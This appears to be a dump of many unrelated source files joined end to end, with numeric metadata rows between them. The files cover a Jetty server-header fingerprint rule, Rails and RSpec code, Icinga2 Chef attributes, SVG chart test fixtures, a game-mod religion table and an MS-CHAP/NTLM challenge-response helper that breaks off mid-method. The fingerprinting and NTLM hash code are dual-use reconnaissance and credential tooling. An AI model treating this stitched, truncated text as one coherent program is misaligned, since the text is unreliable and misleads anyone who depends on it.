_first_header_capture(x,/^server:.*Jetty\(([\w\d\.]*)\.v[\w\d\.\-]*\).*$/i)
},
:dynamic_update => lambda{|x|
_first_header_capture(x,/^server:.*Jetty\([\w\d\.]*\.v([\w\d\.\-]*)\).*$/i)
},
:paths => ["#{url}"],
:examples => [
"server: Jetty(9.3.19.v20170502)",
"server: Jetty(9.2.z-SNAPSHOT)"
],
:inference => true
},
{
:type => "fingerprint",
:category => "application",
:tags => ["Web Server"],
:vendor => "Eclipse",
:product =>"Jetty",
:match_details =>"powered by header - with update",
:version => nil,
:match_type => :content_headers,
:match_content => /^x-powered-by:.*Jetty\(.*$/i,
:dynamic_version => lambda{|x|
_first_header_capture(x,/^x-powered-by:.*Jetty\(([\d\.]*)\.v[\w\d\.\-]*\).*$/i)
},
:dynamic_update => lambda{|x|
_first_header_capture(x,/^x-powered-by:.*Jetty\([\d\.]*\.v([\w\d\.\-]*)\).*$/i)
},
:paths => ["#{url}"],
:examples => [
"x-powered-by: Jetty(9.3.19.v20170502)",
"x-powered-by: Jetty(9.2.z-SNAPSHOT)"
],
:inference => true
}
]
end
end
end
end
end
| 32.307692 | 94 | 0.431429 |
629b6e300b058fcb196848235d6eae9d68299be2 | 596 | #!/usr/bin/env ruby
class Routes
def initialize
@distances = {}
end
def distance(*segments)
# @distances[segments] ||= calculate_distance(*segments) # => only works if value != nil
if @distances.has_key?(segments)
@distances[segments]
else
@distances[segments] = calculate_distance(*segments)
end
end
private
def calculate_distance(*segments)
puts "Expensive Task"
segments.inject { |sum, val| sum + val }
end
end
r = Routes.new
puts r.distance 1,2,3,4
puts r.distance 1,2,3,4
puts r.distance 9,8,7,6
puts r.distance 9,8,7,6
| 19.225806 | 92 | 0.652685 |
ab930ddddb6740438ab8b67b459aa324655aa499 | 212 | $LOAD_PATH.unshift(File.dirname(__FILE__))
$LOAD_PATH.unshift(File.join(File.dirname(__FILE__), '..', 'lib'))
require 'formulator'
require 'spec'
require 'spec/autorun'
Spec::Runner.configure do |config|
end
| 21.2 | 66 | 0.740566 |
6a5e95c004cb556b90b033c004c951e1f3674e1e | 826 | require 'test_helper'
class SiteLayoutTest < ActionDispatch::IntegrationTest
def setup
@user = users(:michael)
end
test "layout links" do
get root_path
assert_template 'static_pages/home'
assert_select "a[href=?]", root_path, count: 2 #count verifies that there are two links: one for logo and another for nav menu item
assert_select "a[href=?]", help_path
assert_select "a[href=?]", about_path
assert_select "a[href=?]", contact_path
get contact_path
assert_select "title", full_title("Contact")
#when not logged in, it should redirect to login path
get users_path
assert_redirected_to login_path
log_in_as(@user)
get users_path
assert_template 'users/index'
assert_select "a[href=?]", users_path
# assert_redirected_to login_path
end
end
| 29.5 | 135 | 0.711864 |
acf449e42dda88474f8faa4506a5f538e39efa09 | 786 | # frozen_string_literal: true
module Aoc2020
#----
class Day20Part1
def initialize(input_file)
@input = File.read(input_file).each_line(chomp: true)
end
def run
# ---
end
end
#----
class Day20Part2
def initialize(input_file)
@input = File.read(input_file).each_line(chomp: true)
end
def run
# ---
end
end
#-----
module Day20
def self.default_input_file
# File.join(Aoc2020::INPUT_FILES, 'day_20_example.txt')
File.join(Aoc2020::INPUT_FILES, 'day_20.txt')
end
def self.part_one(input_file = default_input_file)
Aoc2020::Day20Part1.new(input_file).run
end
def self.part_two(input_file = default_input_file)
Aoc2020::Day20Part2.new(input_file).run
end
end
end
| 18.714286 | 61 | 0.645038 |
2179e85de35136a886d79b2ba14e40c546d7c0eb | 3,441 | ModernTimesDatabase::RELIGIONS = {
"k_england" => "protestant",
"k_wales" => "protestant",
"d_the_isles" => "protestant",
"d_mecklemburg" => "protestant",
"d_crimea" => "orthodox",
"d_armenia" => "orthodox",
"k_persia" => "shiite",
"d_basra" => "shiite",
"d_baghdad" => "shiite",
"d_tripoli" => "shiite",
"d_kola" => :keep,
"d_karelia" => :keep,
"e_scandinavia" => "protestant",
"d_brandenburg" => "protestant",
"d_saxony" => "protestant",
"d_livonia" => "protestant",
"d_ascalon" => {forever_ago: "sunni", end_ww1: "jewish"},
"c_jerusalem" => {forever_ago: "sunni", end_ww1: "jewish"},
"c_acre" => {forever_ago: "sunni", end_ww1: "jewish"},
"c_darum" => "sunni",
"d_holland" => "reformed",
"d_gelre" => "reformed",
"d_upper_burgundy" => "reformed",
"k_scotland" => "reformed",
"d_alexandria" => "sunni",
"d_cairo" => "sunni",
"d_damietta" => "sunni",
"d_sevilla" => "catholic",
"d_granada" => "catholic",
"c_algeciras" => "protestant",
"d_prussia" => {forever_ago: "protestant", end_ww2: "catholic"},
"d_meissen" => "protestant",
"d_lausitz" => "protestant",
"c_famagusta" => "sunni",
"c_byzantion" => "sunni",
"d_lithuanians" => "catholic",
"d_yatviags" => "orthodox",
"c_dublin" => "catholic",
"c_ulster" => "protestant",
"c_tyrone" => "protestant",
"c_nassau" => "reformed",
"c_mainz" => "protestant",
"c_leiningen" => "protestant",
"c_wurttemberg" => "protestant",
"d_thuringia" => "protestant",
"d_samos" => "orthodox",
"d_adrianopolis" => "orthodox",
"c_kuma" => "buddhist",
"c_alania" => "sunni",
"d_moldau" => "orthodox",
"d_transylvania" => "orthodox",
"c_thessalia" => "orthodox",
"c_cephalonia" => "orthodox",
"c_methone" => "orthodox",
"d_savonia" => "protestant",
"c_kexholm" => "protestant",
"d_galich" => "catholic", # Uniate
"d_volhynia" => "catholic", # Uniate
"d_dyrrachion" => "sunni",
"c_ragusa" => "catholic",
"d_taizz" => "shiite",
"d_hadramut" => "shiite",
"d_nobatia" => "sunni",
"d_nubia" => "sunni",
"d_cherven_cities" => "catholic",
"c_bilino_polje" => "sunni",
"d_azov" => "orthodox",
"d_sarkel" => "orthodox",
"d_wild_fields" => "orthodox",
"c_sortavala" => "orthodox",
"d_hayya" => "miaphysite",
"d_axum" => "sunni",
"k_malwa" => "hindu",
"k_kosala" => "hindu",
"k_bihar" => "hindu",
"k_delhi" => "hindu",
"k_punjab" => "sunni",
"d_bjarmia" => "orthodox",
"d_hlynov" => "orthodox",
"d_angria" => "protestant",
"d_bremen" => "protestant",
"d_latgale" => "orthodox",
"c_dorpat" => "orthodox",
"c_narva" => "orthodox",
"c_selija" => "baltic_pagan",
"c_nalsia" => "baltic_pagan",
"k_mongolia" => "buddhist",
"d_abakan" => "tengri_pagan",
"d_vanga" => "sunni",
"c_maldives" => "sunni",
"c_albania" => "orthodox",
"c_suenik" => "orthodox",
"k_afghanistan" => "sunni",
"c_ani" => {forever_ago: "orthodox", end_ww1: "sunni"},
"c_vaspurakan" => {forever_ago: "orthodox", end_ww1: "sunni"},
"d_saurashtra" => "hindu",
"d_stravani" => "hindu",
"d_jangladesh" => "hindu",
"c_sudovia" => "catholic",
"c_scalovia" => {forever_ago: "catholic", end_ww2: "orthodox"},
"c_smyrna" => {forever_ago: "orthodox", end_ww1: "sunni"},
"c_ephesos" => {forever_ago: "orthodox", end_ww1: "sunni"},
"c_trapezous" => {forever_ago: "orthodox", end_ww1: "sunni"},
"d_armenia_minor" => {forever_ago: "miaphysite", end_ww1: "sunni"},
}
| 32.158879 | 69 | 0.601569 |
918905b0ea1cf7e6b87fb10ee5597bc6ddb1b44a | 1,594 | =begin
#CloudReactor API
#CloudReactor API Documentation
The version of the OpenAPI document: 0.2.0
Contact: [email protected]
Generated by: https://openapi-generator.tech
OpenAPI Generator version: 5.4.0
=end
require 'spec_helper'
require 'json'
require 'date'
# Unit tests for CloudReactorAPIClient::PaginatedWorkflowTransitionList
# Automatically generated by openapi-generator (https://openapi-generator.tech)
# Please update as you see appropriate
describe CloudReactorAPIClient::PaginatedWorkflowTransitionList do
let(:instance) { CloudReactorAPIClient::PaginatedWorkflowTransitionList.new }
describe 'test an instance of PaginatedWorkflowTransitionList' do
it 'should create an instance of PaginatedWorkflowTransitionList' do
expect(instance).to be_instance_of(CloudReactorAPIClient::PaginatedWorkflowTransitionList)
end
end
describe 'test attribute "count"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "_next"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "previous"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
describe 'test attribute "results"' do
it 'should work' do
# assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers
end
end
end
| 30.075472 | 102 | 0.759724 |
f8b2ffb01d581da7a2d8e1fe765756fca90ad5f2 | 3,738 | class PhrasingPhrasesController < Phrasing.parent_controller.constantize
layout 'phrasing'
protect_from_forgery
include PhrasingHelper
before_filter :authorize_editor
def index
params[:locale] ||= I18n.default_locale
query = PhrasingPhrase
query = query.order("#{query.table_name}.key")
query = query.where(locale: params[:locale]) unless params[:locale].blank?
if params[:search] and !params[:search].blank?
key_like = PhrasingPhrase.arel_table[:key].matches("%#{params[:search]}%")
value_like = PhrasingPhrase.arel_table[:value].matches("%#{params[:search]}%")
@phrasing_phrases = query.where(key_like.or(value_like))
else
@phrasing_phrases = query.where("value is not null") + query.where("value is null")
end
@locale_names = PhrasingPhrase.uniq.pluck(:locale)
end
def edit
@phrasing_phrase = PhrasingPhrase.find(params[:id])
end
def update
@phrasing_phrase = PhrasingPhrase.find(params[:id])
@phrasing_phrase.value = params[:phrasing_phrase][:value]
@phrasing_phrase.save!
respond_to do |format|
format.html do
redirect_to phrasing_phrases_path, notice: "#{@phrasing_phrase.key} updated!"
end
format.js do
render json: @phrasing_phrase
end
end
end
def import_export
end
def download
app_name = Rails.application.class.to_s.split("::").first
app_env = Rails.env
filename = "phrasing_phrases_#{app_name}_#{app_env}_#{Time.now.strftime("%Y_%m_%d_%H_%M_%S")}.yml"
send_data Phrasing::Serializer.export_yaml, filename: filename
end
def upload
number_of_changes = Phrasing::Serializer.import_yaml(params["file"].tempfile)
redirect_to phrasing_phrases_path, notice: "YAML file uploaded successfully! Number of phrases changed: #{number_of_changes}."
rescue Exception => e
logger.info "\n#{e.class}\n#{e.message}"
message = if params[:file].nil?
"Please choose a file."
else
"Please upload a valid YAML file."
end
flash[:alert] = "There was an error processing your upload! #{message}"
render action: 'import_export', status: 400
end
def destroy
@phrasing_phrase = PhrasingPhrase.find(params[:id])
@phrasing_phrase.destroy
redirect_to phrasing_phrases_path, notice: "#{@phrasing_phrase.key} deleted!"
end
def help
end
def sync
if Phrasing.staging_server_endpoint.nil?
redirect_to :back, alert: "You didn't set your source server"
else
yaml = read_remote_yaml(Phrasing.staging_server_endpoint)
if yaml
Phrasing::Serializer.import_yaml(yaml)
redirect_to :back, notice: "Translations synced from source server"
else
redirect_to :back
end
end
end
def remote_update_phrase
klass, attribute = params[:klass], params[:attribute]
if Phrasing.is_whitelisted?(klass, attribute)
class_object = klass.classify.constantize
@object = class_object.where(id: params[:id]).first
@object.send("#{attribute}=",params[:new_value])
@object.save!
render json: @object
else
render status: 403, text: "Attribute not whitelisted!"
end
rescue ActiveRecord::RecordInvalid => e
render status: 403, text: e
end
protected
def read_remote_yaml(url)
output = nil
begin
open(url, http_basic_authentication: [Phrasing.username, Phrasing.password]) do |remote|
output = remote.read()
end
rescue Exception => e
logger.fatal e
flash[:alert] = "Syncing failed: #{e}"
end
output
end
def authorize_editor
redirect_to root_path unless can_edit_phrases?
end
end
| 27.485294 | 132 | 0.675495 |
e80456c278ed6bbb0b923f385d5feb2ed4816ebe | 249 | class CreateBeers < ActiveRecord::Migration[6.0]
def change
create_table :beers do |t|
t.string :name
t.string :category
t.string :abv
t.integer :user_id
t.integer :category_id
t.timestamps
end
end
end | 20.75 | 48 | 0.634538 |
e285794f6015a774907183335c08e5d5767e18f5 | 7,429 | # https://wiki.icinga.org/display/howtos/Setting+up+Icinga+Classic+UI+Standalone
default['icinga2']['classic_ui']['enable'] = true
# in favour of existing users for rhel
default['icinga2']['classic_ui']['apache_conf'] = value_for_platform(
%w(centos redhat fedora amazon) => { 'default' => 'icinga2-classic-ui' },
%w(debian ubuntu) => { 'default' => 'icinga2-classicui' }
)
if node['platform_family'] == 'debian'
default['icinga2']['classic_ui']['version'] = '2.4.1-1'
else
default['icinga2']['classic_ui']['version'] = '2.4.1-1'
end
default['icinga2']['classic_ui']['gui_version'] = '1.13.3-0'
default['icinga2']['classic_ui']['web_root'] = value_for_platform(
%w(centos redhat fedora amazon) => { 'default' => '/usr/share/icinga' },
%w(debian ubuntu) => { 'default' => '/usr/share/icinga2/classicui' }
)
default['icinga2']['classic_ui']['home_dir'] = value_for_platform(
%w(debian ubuntu) => { 'default' => '/etc/icinga2-classicui' },
'default' => '/etc/icinga'
)
default['icinga2']['classic_ui']['conf_dir'] = node['icinga2']['classic_ui']['home_dir']
default['icinga2']['classic_ui']['log_dir'] = '/var/log/icinga'
default['icinga2']['classic_ui']['cgi_log_dir'] = ::File.join(node['icinga2']['classic_ui']['log_dir'], 'gui')
# class ui gui users list
default['icinga2']['classic_ui']['users'] = { 'icingaadmin' => '$apr1$MZtKRLAy$AV9OiJ.V/mI9g30bHn9ol1' }
# classis ui gui users permissions
default['icinga2']['classic_ui']['authorized_for_system_information'] = [node['icinga2']['admin_user']]
default['icinga2']['classic_ui']['authorized_for_configuration_information'] = [node['icinga2']['admin_user']]
default['icinga2']['classic_ui']['authorized_for_full_command_resolution'] = [node['icinga2']['admin_user']]
default['icinga2']['classic_ui']['authorized_for_system_commands'] = [node['icinga2']['admin_user']]
default['icinga2']['classic_ui']['authorized_for_all_services'] = [node['icinga2']['admin_user']]
default['icinga2']['classic_ui']['authorized_for_all_hosts'] = [node['icinga2']['admin_user']]
default['icinga2']['classic_ui']['authorized_for_all_service_commands'] = [node['icinga2']['admin_user']]
default['icinga2']['classic_ui']['authorized_for_all_host_commands'] = [node['icinga2']['admin_user']]
default['icinga2']['classic_ui']['cgi']['standalone_installation'] = 1
default['icinga2']['classic_ui']['cgi']['physical_html_path'] = value_for_platform(
%w(centos redhat fedora amazon) => { 'default' => '/usr/share/icinga' },
%w(debian ubuntu) => { 'default' => '/usr/lib/cgi-bin/icinga2-classicui' }
)
default['icinga2']['classic_ui']['cgi']['url_html_path'] = value_for_platform(
%w(centos redhat fedora amazon) => { 'default' => '/icinga' },
%w(debian ubuntu) => { 'default' => '/icinga2-classicui' }
)
default['icinga2']['classic_ui']['cgi']['url_stylesheets_path'] = "#{node['icinga2']['classic_ui']['cgi']['url_html_path']}/stylesheets"
default['icinga2']['classic_ui']['cgi']['http_charset'] = 'utf-8'
default['icinga2']['classic_ui']['cgi']['refresh_rate'] = 60
default['icinga2']['classic_ui']['cgi']['refresh_type'] = 1
default['icinga2']['classic_ui']['cgi']['escape_html_tags'] = 1
default['icinga2']['classic_ui']['cgi']['result_limit'] = 50
default['icinga2']['classic_ui']['cgi']['show_tac_header'] = 1
default['icinga2']['classic_ui']['cgi']['use_pending_states'] = 1
default['icinga2']['classic_ui']['cgi']['first_day_of_week'] = 0
default['icinga2']['classic_ui']['cgi']['suppress_maintenance_downtime'] = 0
default['icinga2']['classic_ui']['cgi']['action_url_target'] = 'main'
default['icinga2']['classic_ui']['cgi']['notes_url_target'] = 'main'
default['icinga2']['classic_ui']['cgi']['use_authentication'] = 1
default['icinga2']['classic_ui']['cgi']['use_ssl_authentication'] = 0
default['icinga2']['classic_ui']['cgi']['lowercase_user_name'] = 0
default['icinga2']['classic_ui']['cgi']['show_all_services_host_is_authorized_for'] = 1
default['icinga2']['classic_ui']['cgi']['show_partial_hostgroups'] = 0
default['icinga2']['classic_ui']['cgi']['show_partial_servicegroups'] = 0
default['icinga2']['classic_ui']['cgi']['default_statusmap_layout'] = 5
default['icinga2']['classic_ui']['cgi']['status_show_long_plugin_output'] = 0
default['icinga2']['classic_ui']['cgi']['display_status_totals'] = 0
default['icinga2']['classic_ui']['cgi']['highlight_table_rows'] = 1
default['icinga2']['classic_ui']['cgi']['add_notif_num_hard'] = 28
default['icinga2']['classic_ui']['cgi']['add_notif_num_soft'] = 0
default['icinga2']['classic_ui']['cgi']['use_logging'] = 0
default['icinga2']['classic_ui']['cgi']['cgi_log_file'] = ::File.join(node['icinga2']['classic_ui']['cgi_log_dir'], 'icinga-cgi.log')
default['icinga2']['classic_ui']['cgi']['cgi_log_rotation_method'] = 'd'
default['icinga2']['classic_ui']['cgi']['cgi_log_archive_path'] = node['icinga2']['classic_ui']['cgi_log_dir']
default['icinga2']['classic_ui']['cgi']['enforce_comments_on_actions'] = 0
default['icinga2']['classic_ui']['cgi']['send_ack_notifications'] = 1
default['icinga2']['classic_ui']['cgi']['persistent_ack_comments'] = 0
default['icinga2']['classic_ui']['cgi']['lock_author_names'] = 1
default['icinga2']['classic_ui']['cgi']['default_downtime_duration'] = 7200
default['icinga2']['classic_ui']['cgi']['set_expire_ack_by_default'] = 0
default['icinga2']['classic_ui']['cgi']['default_expiring_acknowledgement_duration'] = 86_400
default['icinga2']['classic_ui']['cgi']['default_expiring_disabled_notifications_duration'] = 86_400
default['icinga2']['classic_ui']['cgi']['tac_show_only_hard_state'] = 0
default['icinga2']['classic_ui']['cgi']['show_tac_header_pending'] = 1
default['icinga2']['classic_ui']['cgi']['exclude_customvar_name'] = 'PASSWORD,COMMUNITY'
default['icinga2']['classic_ui']['cgi']['exclude_customvar_value'] = 'secret'
default['icinga2']['classic_ui']['cgi']['extinfo_show_child_hosts'] = 0
default['icinga2']['classic_ui']['cgi']['tab_friendly_titles'] = 1
######################################
# STANDALONE (ICINGA 2) OPTIONS'
# requires standalone_installation
######################################
default['icinga2']['classic_ui']['cgi']['object_cache_file'] = ::File.join(node['icinga2']['cache_dir'], 'objects.cache') # '/var/cache/icinga2/objects.cache'
default['icinga2']['classic_ui']['cgi']['status_file'] = ::File.join(node['icinga2']['cache_dir'], 'status.dat')
default['icinga2']['classic_ui']['cgi']['resource_file'] = ::File.join(node['icinga2']['classic_ui']['conf_dir'], 'resource.cfg')
default['icinga2']['classic_ui']['cgi']['command_file'] = ::File.join(node['icinga2']['run_dir'], 'cmd', 'icinga2.cmd')
default['icinga2']['classic_ui']['cgi']['check_external_commands'] = 1
default['icinga2']['classic_ui']['cgi']['interval_length'] = 60
default['icinga2']['classic_ui']['cgi']['status_update_interval'] = 10
default['icinga2']['classic_ui']['cgi']['log_file'] = ::File.join(node['icinga2']['log_dir'], 'compat', 'icinga.log')
default['icinga2']['classic_ui']['cgi']['log_rotation_method'] = 'h'
default['icinga2']['classic_ui']['cgi']['log_archive_path'] = ::File.join(node['icinga2']['log_dir'], 'compat', 'archives')
default['icinga2']['classic_ui']['cgi']['date_format'] = 'us'
default['icinga2']['classic_ui']['cgi']['url_cgi_path'] = value_for_platform(
%w(centos redhat fedora amazon) => { 'default' => nil },
%w(debian ubuntu) => { 'default' => "/cgi-bin#{node['icinga2']['classic_ui']['cgi']['url_html_path']}" }
)
| 64.6 | 158 | 0.689191 |
f83b8cc5a48aeb81565a58b281d65a77883b5f14 | 176 | class AddPasswordResetDigest < ActiveRecord::Migration[5.0]
def change
add_column :users, :reset_digest, :string
add_column :users, :reset_sent_at, :datetime
end
end
| 25.142857 | 59 | 0.761364 |
bbb1d2a8496cd06570f58cbcbd17c5b60a1f3bd4 | 7,631 | module SVGChart
TOP_LEFT_OFFSET = 1
module_function
def bar_chart
%(<figure class="ac-chart-container ac-clearfix "><figcaption class="ac-chart-title">Pets per Floor</figcaption>
<svg xmlns="http://www.w3.org/2000/svg" style="width: 280px; height: auto;" viewBox="0 0 280 410" class="ac-chart ac-bar-chart">#{grid_rect_tag(390, 280)}
<rect height="360.0" x="20" y="30.0" class="ac-bar-chart-bar series-a" width="40" />
<text x="40" y="25.0">5</text>
<rect height="120.0" x="80" y="270.0" class="ac-bar-chart-bar series-b" width="40" />
<text x="100" y="265.0">1</text>
<rect height="144.0" x="160" y="246.0" class="ac-bar-chart-bar series-a" width="40" />
<text x="180" y="241.0">2</text>
<rect height="360.0" x="220" y="30.0" class="ac-bar-chart-bar series-b" width="40" />
<text x="240" y="25.0">3</text>
<text x="70.0" y="405.0">cats</text><text x="210.0" y="405.0">dogs</text></svg>
<ul class="ac-chart ac-series-legend"><li class="series-a">Floor 1</li><li class="series-b">Floor 2</li></ul></figure>)
end
def bar_chart_empty
%(<figure class="ac-chart-container ac-clearfix "><figcaption class="ac-chart-title"></figcaption>
<svg xmlns="http://www.w3.org/2000/svg" style="width: 20px; height: auto;" viewBox="0 0 20 400" class="ac-chart ac-bar-chart">#{grid_rect_tag(380, 20)}
</svg>
<ul class="ac-chart ac-series-legend"></ul></figure>)
end
def scatter_plot
%(<figure class="ac-chart-container ac-clearfix "><figcaption class="ac-chart-title">Pets per Floor</figcaption>
<svg xmlns="http://www.w3.org/2000/svg" style="width: 600px; height: auto;" viewBox="0 0 600 410" class="ac-chart ac-scatter-plot"><rect x="1" y="1" height="388" width="518" class="grid"></rect>
<line x1="104.0" x2="104.0" y1="1" y2="389" class="ac-grid-line" />
<line x1="208.0" x2="208.0" y1="1" y2="389" class="ac-grid-line" />
<line x1="312.0" x2="312.0" y1="1" y2="389" class="ac-grid-line" />
<line x1="416.0" x2="416.0" y1="1" y2="389" class="ac-grid-line" />
<line x1="1" x2="519" y1="292.5" y2="292.5" class="ac-grid-line" />
<line x1="1" x2="519" y1="195.0" y2="195.0" class="ac-grid-line" />
<line x1="1" x2="519" y1="97.5" y2="97.5" class="ac-grid-line" />
<circle cx="416.0" cy="292.5" class="ac-scatter-plot-dot ac-triggerable series-a" />
<text x="422.0" y="286.5" class="ac-scatter-plot-label ac-toggleable">cats</text>
<circle cx="416.0" cy="390.0" class="ac-scatter-plot-dot ac-triggerable series-b" />
<text x="422.0" y="384.0" class="ac-scatter-plot-label ac-toggleable">cats</text>
<circle cx="104.0" cy="97.5" class="ac-scatter-plot-dot ac-triggerable series-a" />
<text x="110.0" y="91.5" class="ac-scatter-plot-label ac-toggleable">dogs</text>
<circle cx="104.0" cy="390.0" class="ac-scatter-plot-dot ac-triggerable series-b" />
<text x="110.0" y="384.0" class="ac-scatter-plot-label ac-toggleable">dogs</text>
<text x="526" y="390.0" class="ac-y-label">0</text><text x="526" y="292.5" class="ac-y-label">1</text><text x="526" y="195.0" class="ac-y-label">2</text><text x="526" y="97.5" class="ac-y-label">3</text><text x="526" y="11" class="ac-y-label">4</text>
<text x="0.0" y="405.0" class="ac-x-label anchor_start">1</text><text x="104.0" y="405.0" class="ac-x-label">2</text><text x="208.0" y="405.0" class="ac-x-label">3</text><text x="312.0" y="405.0" class="ac-x-label">4</text><text x="416.0" y="405.0" class="ac-x-label">5</text><text x="520.0" y="405.0" class="ac-x-label">6</text></svg>
<ul class="ac-chart ac-series-legend"><li class="series-a">Floor 1 vs. Floor 2</li><li class="series-b">Floor 1 vs. Floor 3</li></ul></figure>)
end
def xy_chart_empty(width = 600, height = 400, class_name = 'scatter-plot')
%(<figure class="ac-chart-container ac-clearfix "><figcaption class="ac-chart-title"></figcaption>
<svg xmlns="http://www.w3.org/2000/svg" style="width: #{width}px; height: auto;" viewBox="0 0 #{width} #{height}" class="ac-chart ac-#{class_name}">#{grid_rect_tag(height - 20, width - 80)}
<text x="526" y="380.0" class="ac-y-label">0</text><text x="526" y="11" class="ac-y-label">1</text>
<text x="0.0" y="395.0" class="ac-x-label anchor_start">0</text><text x="520.0" y="395.0" class="ac-x-label">1</text></svg>
<ul class="ac-chart ac-series-legend"></ul></figure>)
end
def xy_chart_x_labels
%(<text x="0.0" y="490.0" class="ac-x-label anchor_start">-$4</text><text x="62.0" y="490.0" class="ac-x-label">-$3</text><text x="124.0" y="490.0" class="ac-x-label">-$2</text>)
end
def xy_date_chart_x_labels
%(<text x="0.0" y="395.0" class="ac-x-label anchor_start">2015-10-04</text><text x="104.0" y="395.0" class="ac-x-label">2016-01-12</text><text x="208.0" y="395.0" class="ac-x-label">2016-04-21</text><text x="312.0" y="395.0" class="ac-x-label">2016-07-30</text><text x="416.0" y="395.0" class="ac-x-label">2016-11-07</text><text x="520.0" y="395.0" class="ac-x-label">2017-02-15</text>)
end
def line_chart
%(<figure class="ac-chart-container ac-clearfix "><figcaption class="ac-chart-title">Pets per Floor</figcaption>
<svg xmlns="http://www.w3.org/2000/svg" style="width: 600px; height: auto;" viewBox="0 0 600 400" class="ac-chart ac-line-chart"><rect x="1" y="1" height="378" width="518" class="grid"></rect>
<line x1="104.0" x2="104.0" y1="1" y2="379" class="ac-grid-line" />
<line x1="208.0" x2="208.0" y1="1" y2="379" class="ac-grid-line" />
<line x1="312.0" x2="312.0" y1="1" y2="379" class="ac-grid-line" />
<line x1="416.0" x2="416.0" y1="1" y2="379" class="ac-grid-line" />
<line x1="1" x2="519" y1="285.0" y2="285.0" class="ac-grid-line" />
<line x1="1" x2="519" y1="190.0" y2="190.0" class="ac-grid-line" />
<line x1="1" x2="519" y1="95.0" y2="95.0" class="ac-grid-line" />
<path d="M416.0 285.0 L 104.0 95.0" class="ac-line-chart-line series-a"></path>
<path d="M416.0 380.0 L 104.0 380.0" class="ac-line-chart-line series-b"></path>
<text x="422.0" y="279.0" class="ac-line-chart-label ac-toggleable">cats</text>
<text x="110.0" y="89.0" class="ac-line-chart-label ac-toggleable">dogs</text>
<text x="422.0" y="374.0" class="ac-line-chart-label ac-toggleable">cats</text>
<text x="110.0" y="374.0" class="ac-line-chart-label ac-toggleable">dogs</text>
<text x="526" y="380.0" class="ac-y-label">0</text><text x="526" y="285.0" class="ac-y-label">1</text><text x="526" y="190.0" class="ac-y-label">2</text><text x="526" y="95.0" class="ac-y-label">3</text><text x="526" y="11" class="ac-y-label">4</text>
<text x="0.0" y="395.0" class="ac-x-label anchor_start">1</text><text x="104.0" y="395.0" class="ac-x-label">2</text><text x="208.0" y="395.0" class="ac-x-label">3</text><text x="312.0" y="395.0" class="ac-x-label">4</text><text x="416.0" y="395.0" class="ac-x-label">5</text><text x="520.0" y="395.0" class="ac-x-label">6</text></svg>
<ul class="ac-chart ac-series-legend"><li class="series-a">Floor 1 vs. Floor 2</li><li class="series-b">Floor 1 vs. Floor 3</li></ul></figure>)
end
def grid_rect_tag(height, width)
offset = TOP_LEFT_OFFSET * 2
%(<rect x="1" y="1" height="#{height - offset}" width="#{width - offset}" class="grid"></rect>)
end
end
| 82.053763 | 390 | 0.595597 |
629a3d70211658036de89f8422b7d71b9008a135 | 1,003 | require_relative "../base"
module ConceptQL
module Operators
module Selection
class Base < Operators::Base
include ConceptQL::Behaviors::Windowable
include ConceptQL::Behaviors::Selectable
def select_all?
arguments.include?("*")
end
def where_clauses(db)
[where_clause(db)].compact
end
def where_clause(db)
raise NotImplementedError
end
def query(db, opts = {})
ds = db[table.name]
ds = where_clauses(db).inject(ds) do |ds, where_clause|
ds.where(where_clause)
end
prepare_columns(ds)
end
def table
raise NotImplementedError
end
def prepare_columns(ds, opts = {})
names = table.columns.map(&:name)
make_selectable(ds)
.auto_columns(names.zip(names).to_h)
end
def table_alias
op_name.to_sym
end
end
end
end
end
| 21.804348 | 65 | 0.557328 |
216efe0e14babef891e63ad441e9e15735a2f950 | 554 | require 'mailman'
module Bugsnag
class Mailman
def call(mail)
begin
Bugsnag.before_notify_callbacks << lambda {|notif|
notif.add_tab(:mailman, {"message" => mail.to_s})
}
yield
rescue Exception => ex
raise ex if [Interrupt, SystemExit, SignalException].include? ex.class
Bugsnag.auto_notify(ex)
raise
ensure
Bugsnag.clear_request_data
end
end
end
end
if Mailman.config.respond_to?(:middleware)
Mailman.config.middleware.add ::Bugsnag::Mailman
end
| 21.307692 | 78 | 0.640794 |
ed6c5f47d4cd416850380ce8c890f9ae13a7556e | 139 | class StaticPagesController < ApplicationController
def home
end
def help
end
def about
end
def contact
end
end
| 9.266667 | 51 | 0.676259 |
9190ae040ec412280865caf220f309fe4cbc6007 | 2,927 | module MsChapAuth
def hexlify(msg)
msg.unpack('H*').first
end
def unhexlify(msg)
msg.scan(/../).collect { |c| c.to_i(16).chr }.join
end
def test_key key, challenge
des = OpenSSL::Cipher::DES.new('ECB')
des.encrypt
des.key = key
des.update challenge
#need to do it twice, don't know why!!! :-(
des.update challenge
end
def ntlm_challenge_response word, challenge
uword = word.encode('iso-8859-1').encode('utf-16le')
ntlmhash = md4_hash uword
response = []
response.push(test_key(key56_to_key64(ntlmhash[0...14]), challenge))
response.push(test_key(key56_to_key64(ntlmhash[14...28]), challenge))
response.push(test_key(key56_to_key64(ntlmhash[28...ntlmhash.length] + '0000000000'), challenge))
hexlify(response[0]) + hexlify(response[1]) + hexlify(response[2])
end
def md4_hash word
md4 = OpenSSL::Digest::MD4.new
return md4.hexdigest(word)
end
def set_key_odd_parity key
for pos in 0..key.length - 1
for k in 0..6
bit = 0
t = key[pos] >> k
bit = (t ^ bit) & 0x1
end
key[pos] = (key[pos] & 0xFE) | bit
end
return key
end
def key56_to_key64 key_raw
key_raw = unhexlify(key_raw)
key_56 = []
key_raw.split("").each {|c| key_56.push(c.ord)}
key = []
(0..7).to_a.each {|i| key.push(0)}
key[0] = key_56[0]
key[1] = ((key_56[0] << 7) & 0xFF) | (key_56[1] >> 1);
key[2] = ((key_56[1] << 6) & 0xFF) | (key_56[2] >> 2);
key[3] = ((key_56[2] << 5) & 0xFF) | (key_56[3] >> 3);
key[4] = ((key_56[3] << 4) & 0xFF) | (key_56[4] >> 4);
key[5] = ((key_56[4] << 3) & 0xFF) | (key_56[5] >> 5);
key[6] = ((key_56[5] << 2) & 0xFF) | (key_56[6] >> 6);
key[7] = (key_56[6] << 1) & 0xFF;
key = set_key_odd_parity(key)
keyout = ''
key.each {|k| keyout += k.chr}
return keyout
end
def nt_password_hash password
md4 = OpenSSL::Digest::MD4.new
md4.digest(password)
end
def get_nt_key password
